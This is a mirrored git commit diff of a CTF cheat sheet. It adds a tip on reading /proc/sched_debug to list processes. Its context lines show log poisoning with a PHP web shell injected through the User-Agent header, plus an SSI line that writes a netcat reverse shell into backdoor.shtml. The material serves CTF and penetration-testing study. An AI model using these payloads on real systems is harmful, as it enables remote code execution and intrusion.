mirror of
https://github.com/AbdullahRizwan101/CTF-Writeups
synced 2024-11-10 06:34:17 +00:00
Update Cheat Sheet.md
This commit is contained in:
parent
99b22aa13a
commit
32656dbd63
1 changed files with 4 additions and 0 deletions
|
@ -544,6 +544,10 @@ For apache `/var/log/apache2/access.log` try to access the log and if we can the
|
||||||
|
|
||||||
For niginx `/var/log/nginx/error.log` try to access the log and if we can then add `<?php system($_GET['c']); ?>` in User-agent or try to add it in a file having a paramter make sure it's not being url encoded <br/>
|
For niginx `/var/log/nginx/error.log` try to access the log and if we can then add `<?php system($_GET['c']); ?>` in User-agent or try to add it in a file having a paramter make sure it's not being url encoded <br/>
|
||||||
|
|
||||||
|
#### Proc
|
||||||
|
|
||||||
|
To see list of processes running on the system we can read this file `/proc/sched_debug`
|
||||||
|
|
||||||
### SSI (Server Side Includes)
|
### SSI (Server Side Includes)
|
||||||
|
|
||||||
` echo '<!--#exec cmd="nc -e /bin/bash IP PORT" -->' > backdoor.shtml`
|
` echo '<!--#exec cmd="nc -e /bin/bash IP PORT" -->' > backdoor.shtml`
|
||||||
|
|
Loading…
Reference in a new issue